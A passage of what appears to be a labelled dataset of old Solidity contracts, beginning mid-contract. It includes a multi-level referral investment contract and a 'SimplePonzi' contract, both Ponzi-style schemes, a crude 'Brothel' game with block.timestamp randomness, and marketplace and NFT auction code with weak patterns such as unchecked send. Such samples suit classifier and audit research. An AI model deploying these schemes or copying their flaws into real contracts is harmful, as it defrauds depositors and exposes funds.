uint public constant minimalDepositForBonusReferrer = 0.015 ether;
uint public constant dayLimitStart = 50 ether;
uint public constant progressProcKoef = 100;
uint public constant dayLimitProgressProc = 2;
uint public constant maxDepositProgressProc = 1;
uint public countInvestors = 0;
uint public totalInvest = 0;
uint public totalPenalty = 0;
uint public totalSelfInvest = 0;
uint public totalPaid = 0;
event LogInvestment(address _addr, uint _value, bytes _refData);
event LogTransfer(address _addr, uint _amount, uint _contactBalance);
event LogSelfInvestment(uint _value);
event LogPreparePayment(address _addr, uint _totalInteres, uint _paidInteres, uint _amount);
event LogSkipPreparePayment(address _addr, uint _totalInteres, uint _paidInteres);
event LogPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals, uint _amount);
event LogSkipPreparePaymentReferrer(address _addr, uint _totalReferrals, uint _paidReferrals);
event LogMinimalDepositPayment(address _addr, uint _money, uint _totalPenalty);
event LogPenaltyPayment(address _addr, uint currentSenderDeposit, uint referrerAdressLength, address _referrer, uint currentReferrerDeposit, uint _money, uint _sendBackAmount, uint _totalPenalty);
event LogExceededRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _badDeposit, uint _sendBackAmount, uint _totalPenalty, uint _willDeposit);
event LogUsedRestDepositPerDay(address _addr, address _referrer, uint _money, uint _nDay, uint _restDepositPerDay, uint _realDeposit, uint _usedDepositPerDay);
event LogCalcBonusReferrer(address _referrer, uint _money, uint _index, uint _bonusReferrer, uint _amountReferrer, address _nextReferrer);
struct User
{
uint balance;
uint paidInteres;
uint timestamp;
uint countReferrals;
uint[5] countReferralsByLevel;
uint earnOnReferrals;
uint paidReferrals;
address referrer;
}
mapping (address => User) private user;
mapping (uint => uint) private usedDeposit;
function getInteres(address addr) private view returns(uint interes)
{
uint diffDays = getNDay(user[addr].timestamp);
if( diffDays > maxDepositDays ) diffDays = maxDepositDays;
interes = user[addr].balance.mul(perDay).mul(diffDays).div(procKoef);
}
function getUser(address addr) public view returns(uint balance, uint timestamp, uint paidInteres, uint totalInteres, uint countReferrals, uint[5] countReferralsByLevel, uint earnOnReferrals, uint paidReferrals, address referrer)
{
address a = addr;
return (
user[a].balance,
user[a].timestamp,
user[a].paidInteres,
getInteres(a),
user[a].countReferrals,
user[a].countReferralsByLevel,
user[a].earnOnReferrals,
user[a].paidReferrals,
user[a].referrer
);
}
function getCurrentDay() public view returns(uint nday)
{
nday = getNDay(startTimestamp);
}
function getNDay(uint date) public view returns(uint nday)
{
uint diffTime = date > 0 ? now.sub(date) : 0;
nday = diffTime.div(24 hours);
}
function getCurrentDayDepositLimit() public view returns(uint limit)
{
uint nDay = getCurrentDay();
uint dayDepositLimit = getDayDepositLimit(nDay);
if (dayDepositLimit <= maximalDepositFinish)
{
limit = getDayDepositLimit(nDay);
}
else
{
limit = maximalDepositFinish;
}
}
function calcProgress(uint start, uint proc, uint nDay) public pure returns(uint res)
{
uint s = start;
for (uint i = 0; i < nDay; i++)
{
s = s.mul(progressProcKoef + proc).div(progressProcKoef);
}
return s;
}
function getDayDepositLimit(uint nDay) public pure returns(uint limit)
{
return calcProgress(dayLimitStart, dayLimitProgressProc, nDay );
}
function getMaximalDeposit(uint nDay) public pure returns(uint limit)
{
return calcProgress(maximalDepositStart, maxDepositProgressProc, nDay );
}
function getCurrentDayRestDepositLimit() public view returns(uint restLimit)
{
uint nDay = getCurrentDay();
restLimit = getDayRestDepositLimit(nDay);
}
function getDayRestDepositLimit(uint nDay) public view returns(uint restLimit)
{
restLimit = getCurrentDayDepositLimit().sub(usedDeposit[nDay]);
}
function getCurrentMaximalDeposit() public view returns(uint maximalDeposit)
{
uint nDay = getCurrentDay();
maximalDeposit = getMaximalDeposit(nDay);
if (totalInvest > 3000 ether)
{
maximalDeposit = 0;
}
}
function() external payable
{
emit LogInvestment(msg.sender, msg.value, msg.data);
processPayment(msg.value, msg.data);
}
function processPayment(uint moneyValue, bytes refData) private
{
if (msg.sender == laxmi)
{
totalSelfInvest = totalSelfInvest.add(moneyValue);
emit LogSelfInvestment(moneyValue);
return;
}
if (moneyValue == 0)
{
preparePayment();
return;
}
if (moneyValue < minimalDeposit)
{
totalPenalty = totalPenalty.add(moneyValue);
emit LogMinimalDepositPayment(msg.sender, moneyValue, totalPenalty);
return;
}
address referrer = bytesToAddress(refData);
if (user[msg.sender].balance > 0 ||
refData.length != 20 ||
moneyValue > getCurrentMaximalDeposit() ||
referrer != laxmi &&
(
user[referrer].balance <= 0 ||
referrer == msg.sender)
)
{
uint amount = moneyValue.mul(procReturn).div(procKoef);
totalPenalty = totalPenalty.add(moneyValue.sub(amount));
emit LogPenaltyPayment(msg.sender, user[msg.sender].balance, refData.length, referrer, user[referrer].balance, moneyValue, amount, totalPenalty);
msg.sender.transfer(amount);
return;
}
uint nDay = getCurrentDay();
uint restDepositPerDay = getDayRestDepositLimit(nDay);
uint addDeposit = moneyValue;
if (moneyValue > restDepositPerDay)
{
uint returnDeposit = moneyValue.sub(restDepositPerDay);
uint returnAmount = returnDeposit.mul(procReturn).div(procKoef);
addDeposit = addDeposit.sub(returnDeposit);
totalPenalty = totalPenalty.add(returnDeposit.sub(returnAmount));
emit LogExceededRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, returnDeposit, returnAmount, totalPenalty, addDeposit);
msg.sender.transfer(returnAmount);
}
usedDeposit[nDay] = usedDeposit[nDay].add(addDeposit);
emit LogUsedRestDepositPerDay(msg.sender, referrer, moneyValue, nDay, restDepositPerDay, addDeposit, usedDeposit[nDay]);
registerInvestor(referrer);
sendOwnerFee(addDeposit);
calcBonusReferrers(referrer, addDeposit);
updateInvestBalance(addDeposit);
}
function registerInvestor(address referrer) private
{
user[msg.sender].timestamp = now;
countInvestors++;
user[msg.sender].referrer = referrer;
countReferralsByLevel(referrer, 0);
}
function countReferralsByLevel(address referrer, uint level) private
{
if (level > 5)
{
return;
}
user[referrer].countReferralsByLevel[level]++;
address _nextReferrer = user[referrer].referrer;
if (_nextReferrer != 0)
{
level++;
countReferralsByLevel(_nextReferrer, level);
}
return;
}
function sendOwnerFee(uint addDeposit) private
{
transfer(laxmi, addDeposit.mul(ownerFee).div(procKoef));
}
function calcBonusReferrers(address referrer, uint addDeposit) private
{
for (uint i = 0; i < bonusReferrer.length && referrer != 0; i++)
{
uint amountReferrer = addDeposit.mul(bonusReferrer[i]).div(procKoef);
address nextReferrer = user[referrer].referrer;
emit LogCalcBonusReferrer(referrer, addDeposit, i, bonusReferrer[i], amountReferrer, nextReferrer);
preparePaymentReferrer(referrer, amountReferrer);
referrer = nextReferrer;
}
}
function preparePaymentReferrer(address referrer, uint amountReferrer) private
{
user[referrer].earnOnReferrals = user[referrer].earnOnReferrals.add(amountReferrer);
uint totalReferrals = user[referrer].earnOnReferrals;
uint paidReferrals = user[referrer].paidReferrals;
if (totalReferrals >= paidReferrals.add(minimalDepositForBonusReferrer))
{
uint amount = totalReferrals.sub(paidReferrals);
user[referrer].paidReferrals = user[referrer].paidReferrals.add(amount);
emit LogPreparePaymentReferrer(referrer, totalReferrals, paidReferrals, amount);
transfer(referrer, amount);
}
else
{
emit LogSkipPreparePaymentReferrer(referrer, totalReferrals, paidReferrals);
}
}
function preparePayment() public
{
uint totalInteres = getInteres(msg.sender);
uint paidInteres = user[msg.sender].paidInteres;
if (totalInteres > paidInteres)
{
uint amount = totalInteres.sub(paidInteres);
emit LogPreparePayment(msg.sender, totalInteres, paidInteres, amount);
user[msg.sender].paidInteres = user[msg.sender].paidInteres.add(amount);
transfer(msg.sender, amount);
}
else
{
emit LogSkipPreparePayment(msg.sender, totalInteres, paidInteres);
}
}
function updateInvestBalance(uint addDeposit) private
{
user[msg.sender].balance = user[msg.sender].balance.add(addDeposit);
totalInvest = totalInvest.add(addDeposit);
}
function transfer(address receiver, uint amount) private
{
if (amount > 0)
{
if (receiver != laxmi) { totalPaid = totalPaid.add(amount); }
uint balance = address(this).balance;
emit LogTransfer(receiver, amount, balance);
require(amount < balance, "Not enough balance. Please retry later.");
receiver.transfer(amount);
}
}
function bytesToAddress(bytes source) private pure returns(address addr)
{
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function getTotals() public view returns(uint _maxDepositDays,
uint _perDay,
uint _startTimestamp,
uint _minimalDeposit,
uint _maximalDeposit,
uint[5] _bonusReferrer,
uint _minimalDepositForBonusReferrer,
uint _ownerFee,
uint _countInvestors,
uint _totalInvest,
uint _totalPenalty,
uint _totalPaid,
uint _currentDayDepositLimit,
uint _currentDayRestDepositLimit)
{
return (
maxDepositDays,
perDay,
startTimestamp,
minimalDeposit,
getCurrentMaximalDeposit(),
bonusReferrer,
minimalDepositForBonusReferrer,
ownerFee,
countInvestors,
totalInvest,
totalPenalty,
totalPaid,
getCurrentDayDepositLimit(),
getCurrentDayRestDepositLimit()
);
}
} | 0 | 834 |
contract echo {
function () {
msg.sender.send(msg.value);
}
} | 0 | 1,866 |
contract SimplePonzi {
address public currentInvestor;
uint public currentInvestment = 0;
function () payable public {
require(msg.value > currentInvestment);
currentInvestor.send(currentInvestment);
currentInvestor = msg.sender;
currentInvestment = msg.value;
}
} | 0 | 2,496 |
pragma solidity ^0.4.17;
contract Brothel {
address public manager;
address public coOwner;
mapping(address => bool) public hasAids;
Ho[8] public hoes;
struct Ho {
address pimp;
uint buyPrice;
uint rentPrice;
uint aidsChance;
}
function Brothel(address coown) public {
manager = msg.sender;
coOwner = coown;
uint basePrice = 0.002 ether;
uint size = hoes.length;
uint baseAidsChance = 7;
for (uint i = 0; i<size; i++) {
Ho hoe = hoes[i];
hoe.pimp = manager;
hoe.buyPrice = basePrice*(i+1);
hoe.rentPrice = hoe.buyPrice/10;
hoe.aidsChance = baseAidsChance + (i*4);
}
}
function withdraw() public restricted {
uint leBron = address(this).balance*23/100;
coOwner.transfer(leBron);
manager.transfer(address(this).balance);
}
function buyHo(uint index) public payable{
Ho hoe = hoes[index];
address currentPimp = hoe.pimp;
uint currentPrice = hoe.buyPrice;
require(msg.value >= currentPrice);
currentPimp.transfer(msg.value*93/100);
hoe.pimp = msg.sender;
hoe.buyPrice = msg.value*160/100;
}
function rentHo(uint index) public payable {
Ho hoe = hoes[index];
address currentPimp = hoe.pimp;
uint currentRent = hoe.rentPrice;
require(msg.value >= currentRent);
currentPimp.transfer(msg.value*93/100);
if (block.timestamp%hoe.aidsChance == 0) {
hasAids[msg.sender] = true;
}
}
function setRentPrice(uint index, uint newPrice) public {
require(msg.sender == hoes[index].pimp);
hoes[index].rentPrice = newPrice;
}
function sendMoney() public payable restricted {
}
function balance() public view returns(uint) {
return address(this).balance;
}
modifier restricted() {
require(msg.sender == manager);
_;
}
} | 1 | 3,016 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
uint8 public decimals;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ListingsERC20 is Ownable {
using SafeMath for uint256;
struct Listing {
address seller;
address tokenContractAddress;
uint256 price;
uint256 allowance;
uint256 dateStarts;
uint256 dateEnds;
}
event ListingCreated(bytes32 indexed listingId, address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateStarts, uint256 dateEnds, address indexed seller);
event ListingCancelled(bytes32 indexed listingId, uint256 dateCancelled);
event ListingBought(bytes32 indexed listingId, address tokenContractAddress, uint256 price, uint256 amount, uint256 dateBought, address buyer);
string constant public VERSION = "1.0.1";
uint16 constant public GAS_LIMIT = 4999;
uint256 public ownerPercentage;
mapping (bytes32 => Listing) public listings;
mapping (bytes32 => uint256) public sold;
function ListingsERC20(uint256 percentage) public {
ownerPercentage = percentage;
}
function updateOwnerPercentage(uint256 percentage) external onlyOwner {
ownerPercentage = percentage;
}
function withdrawBalance() onlyOwner external {
assert(owner.send(this.balance));
}
function approveToken(address token, uint256 amount) onlyOwner external {
assert(ERC20(token).approve(owner, amount));
}
function() external payable { }
function getHash(address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateEnds, uint256 salt) external view returns (bytes32) {
return getHashInternal(tokenContractAddress, price, allowance, dateEnds, salt);
}
function getHashInternal(address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateEnds, uint256 salt) internal view returns (bytes32) {
return keccak256(msg.sender, tokenContractAddress, price, allowance, dateEnds, salt);
}
function getBalance(address tokenContract, address seller) internal constant returns (uint256) {
return ERC20(tokenContract).balanceOf.gas(GAS_LIMIT)(seller);
}
function getAllowance(address tokenContract, address seller, address listingContract) internal constant returns (uint256) {
return ERC20(tokenContract).allowance.gas(GAS_LIMIT)(seller, listingContract);
}
function getDecimals(address tokenContract) internal constant returns (uint256) {
return ERC20(tokenContract).decimals.gas(GAS_LIMIT)();
}
function createListing(address tokenContractAddress, uint256 price, uint256 allowance, uint256 dateEnds, uint256 salt) external {
require(price > 0);
require(allowance > 0);
require(dateEnds > 0);
require(getBalance(tokenContractAddress, msg.sender) >= allowance);
bytes32 listingId = getHashInternal(tokenContractAddress, price, allowance, dateEnds, salt);
Listing memory listing = Listing(msg.sender, tokenContractAddress, price, allowance, now, dateEnds);
listings[listingId] = listing;
ListingCreated(listingId, tokenContractAddress, price, allowance, now, dateEnds, msg.sender);
}
function cancelListing(bytes32 listingId) external {
Listing storage listing = listings[listingId];
require(msg.sender == listing.seller);
delete listings[listingId];
ListingCancelled(listingId, now);
}
function buyListing(bytes32 listingId, uint256 amount) external payable {
Listing storage listing = listings[listingId];
address seller = listing.seller;
address contractAddress = listing.tokenContractAddress;
uint256 price = listing.price;
uint256 decimals = getDecimals(listing.tokenContractAddress);
uint256 factor = 10 ** decimals;
uint256 sale;
if (decimals > 0) {
sale = price.mul(amount).div(factor);
} else {
sale = price.mul(amount);
}
uint256 allowance = listing.allowance;
require(now <= listing.dateEnds);
require(allowance - sold[listingId] >= amount);
require(getBalance(contractAddress, seller) >= amount);
require(getAllowance(contractAddress, seller, this) >= amount);
require(msg.value == sale);
ERC20 tokenContract = ERC20(contractAddress);
require(tokenContract.transferFrom(seller, msg.sender, amount));
if (ownerPercentage > 0) {
seller.transfer(sale - (sale.mul(ownerPercentage).div(10000)));
} else {
seller.transfer(sale);
}
sold[listingId] = sold[listingId].add(amount);
ListingBought(listingId, contractAddress, price, amount, now, msg.sender);
}
} | 1 | 4,393 |
pragma solidity ^0.4.14;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC721 {
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function ownerOf(uint256 _tokenId) external view returns (address owner);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
}
contract ERC721Metadata {
function getMetadata(uint256 _tokenId, string) public pure returns (bytes32[4] buffer, uint256 count) {
if (_tokenId == 1) {
buffer[0] = "Hello World! :D";
count = 15;
} else if (_tokenId == 2) {
buffer[0] = "I would definitely choose a medi";
buffer[1] = "um length string.";
count = 49;
} else if (_tokenId == 3) {
buffer[0] = "Lorem ipsum dolor sit amet, mi e";
buffer[1] = "st accumsan dapibus augue lorem,";
buffer[2] = " tristique vestibulum id, libero";
buffer[3] = " suscipit varius sapien aliquam.";
count = 128;
}
}
}
contract ClockAuctionBase {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
ERC721 public nonFungibleContract;
uint256 public ownerCut;
mapping (uint256 => Auction) internal tokenIdToAuction;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner);
event AuctionCancelled(uint256 tokenId);
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
function _escrow(address _owner, uint256 _tokenId) internal {
nonFungibleContract.transferFrom(_owner, this, _tokenId);
}
function _transfer(address _receiver, uint256 _tokenId) internal {
nonFungibleContract.transfer(_receiver, _tokenId);
}
function _addAuction(uint256 _tokenId, Auction _auction) internal {
require(_auction.duration >= 1 minutes);
tokenIdToAuction[_tokenId] = _auction;
AuctionCreated(
uint256(_tokenId),
uint256(_auction.startingPrice),
uint256(_auction.endingPrice),
uint256(_auction.duration),
uint256(_auction.startedAt)
);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
AuctionCancelled(_tokenId);
}
function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
uint256 price = _currentPrice(auction);
require(_bidAmount >= price);
address seller = auction.seller;
_removeAuction(_tokenId);
if (price > 0) {
uint256 auctioneerCut = _computeCut(price);
uint256 sellerProceeds = price - auctioneerCut;
seller.transfer(sellerProceeds);
}
uint256 bidExcess = _bidAmount - price;
msg.sender.transfer(bidExcess);
AuctionSuccessful(_tokenId, price, msg.sender);
return price;
}
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
uint256 secondsPassed = 0;
if (now > _auction.startedAt) {
secondsPassed = now - _auction.startedAt;
}
return _computeCurrentPrice(
_auction.startingPrice,
_auction.endingPrice,
_auction.duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function _computeCut(uint256 _price) internal view returns (uint256) {
return _price * ownerCut / 10000;
}
}
contract ClockAuction is Ownable, ClockAuctionBase {
bytes4 public constant INTERFACE_SIGNATURE_ERC721 = bytes4(0x9a20483d);
function ClockAuction(address _nftAddress, uint256 _cut) public {
require(_cut <= 10000);
ownerCut = _cut;
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(INTERFACE_SIGNATURE_ERC721));
nonFungibleContract = candidateContract;
}
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == owner ||
msg.sender == nftAddress
);
bool res = nftAddress.send(this.balance);
}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(_owns(msg.sender, _tokenId));
_escrow(msg.sender, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId)
external
payable
{
_bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
}
function cancelAuction(uint256 _tokenId)
external
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function getAuction(uint256 _tokenId) external view returns (
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
}
contract SaleClockAuction is ClockAuction {
bool public isSaleClockAuction = true;
uint256 public artworkSaleCount;
uint256[5] public lastArtworkSalePrices;
uint256 internal value;
function SaleClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
external
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId)
external
payable
{
address seller = tokenIdToAuction[_tokenId].seller;
uint256 price = _bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
if (seller == address(nonFungibleContract)) {
lastArtworkSalePrices[artworkSaleCount % 5] = price;
value += price;
artworkSaleCount++;
}
}
function averageArtworkSalePrice() external view returns (uint256) {
uint256 sum = 0;
for (uint256 i = 0; i < 5; i++) {
sum += lastArtworkSalePrices[i];
}
return sum / 5;
}
function getValue() external view returns (uint256) {
return value;
}
}
contract ArtworkAccessControl {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
bool public paused = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
contract ArtworkBase is ArtworkAccessControl {
event Birth(address owner, uint256 artworkId, string name, string author, uint32 series);
event Transfer(address from, address to, uint256 tokenId);
struct Artwork {
uint64 birthTime;
string name;
string author;
uint32 series;
}
Artwork[] internal artworks;
mapping (uint256 => address) public artworkIndexToOwner;
mapping (address => uint256) internal ownershipTokenCount;
mapping (uint256 => address) public artworkIndexToApproved;
SaleClockAuction public saleAuction;
function _transfer(address _from, address _to, uint256 _tokenId) internal {
ownershipTokenCount[_to]++;
artworkIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete artworkIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
uint64 internal birthTime;
string internal author;
string internal name;
uint32 internal series;
function _createArtwork(string _name, string _author, uint32 _series, address _owner ) internal returns (uint) {
Artwork memory _artwork = Artwork({ birthTime: uint64(now), name: _name, author: _author, series: _series});
uint256 newArtworkId = artworks.push(_artwork) - 1;
require(newArtworkId == uint256(uint32(newArtworkId)));
Birth(_owner, newArtworkId, _artwork.name, _artwork.author, _series);
_transfer(0, _owner, newArtworkId);
return newArtworkId;
}
}
contract ArtworkUnique {
mapping (bytes32 => bool) internal uniqueArtworks;
function getUniqueKey(string name, string author, uint32 _version) internal pure returns(bytes32) {
string memory version = _uintToString(_version);
string memory main = _strConcat(name, author, version, "$%)");
string memory lowercased = _toLower(main);
return keccak256(lowercased);
}
function _toLower(string str) internal pure returns (string) {
bytes memory bStr = bytes(str);
bytes memory bLower = new bytes(bStr.length);
for (uint i = 0; i < bStr.length; i++) {
if ((bStr[i] >= 65) && (bStr[i] <= 90)) {
bLower[i] = bytes1(int(bStr[i]) + 32);
} else {
bLower[i] = bStr[i];
}
}
return string(bLower);
}
function _strConcat(string _a, string _b, string _c, string _separator) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_separator);
bytes memory _bc = bytes(_b);
bytes memory _bd = bytes(_separator);
bytes memory _be = bytes(_c);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function _uintToString(uint v) internal pure returns (string) {
bytes32 data = _uintToBytes(v);
return _bytes32ToString(data);
}
function _uintToBytes(uint v) private pure returns (bytes32 ret) {
if (v == 0) {
ret = "0";
} else {
while (v > 0) {
ret = bytes32(uint(ret) / (2 ** 8));
ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));
v /= 10;
}
}
return ret;
}
function _bytes32ToString(bytes32 x) private pure returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
}
contract ArtworkOwnership is ArtworkBase, ArtworkUnique, ERC721 {
string public constant NAME = "CryptoArtworks";
string public constant SYMBOL = "CA";
ERC721Metadata public erc721Metadata;
bytes4 private constant INTERFACE_SIGNATURE_ERC165 =
bytes4(keccak256("supportsInterface(bytes4)"));
bytes4 private constant INTERFACE_SIGNATURE_ERC721 =
bytes4(keccak256("name()")) ^
bytes4(keccak256("symbol()")) ^
bytes4(keccak256("totalSupply()")) ^
bytes4(keccak256("balanceOf(address)")) ^
bytes4(keccak256("ownerOf(uint256)")) ^
bytes4(keccak256("approve(address,uint256)")) ^
bytes4(keccak256("transfer(address,uint256)")) ^
bytes4(keccak256("transferFrom(address,address,uint256)")) ^
bytes4(keccak256("tokensOfOwner(address)")) ^
bytes4(keccak256("tokenMetadata(uint256,string)"));
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
require(_to != address(0));
require(_to != address(this));
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) external whenNotPaused {
require(_to != address(0));
require(_to != address(this));
require(_to != address(saleAuction));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalArts = totalSupply();
uint256 resultIndex = 0;
uint256 artworkId;
for (artworkId = 1; artworkId <= totalArts; artworkId++) {
if (artworkIndexToOwner[artworkId] == _owner) {
result[resultIndex] = artworkId;
resultIndex++;
}
}
return result;
}
}
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
return ((_interfaceID == INTERFACE_SIGNATURE_ERC165) || (_interfaceID == INTERFACE_SIGNATURE_ERC721));
}
function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) {
require(erc721Metadata != address(0));
bytes32[4] memory buffer;
uint256 count;
(buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
return _toString(buffer, count);
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
owner = artworkIndexToOwner[_tokenId];
require(owner != address(0));
}
function setMetadataAddress(address _contractAddress) public onlyCEO {
erc721Metadata = ERC721Metadata(_contractAddress);
}
function totalSupply() public view returns (uint) {
return artworks.length - 1;
}
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return artworkIndexToOwner[_tokenId] == _claimant;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return artworkIndexToApproved[_tokenId] == _claimant;
}
function _approve(uint256 _tokenId, address _approved) internal {
artworkIndexToApproved[_tokenId] = _approved;
}
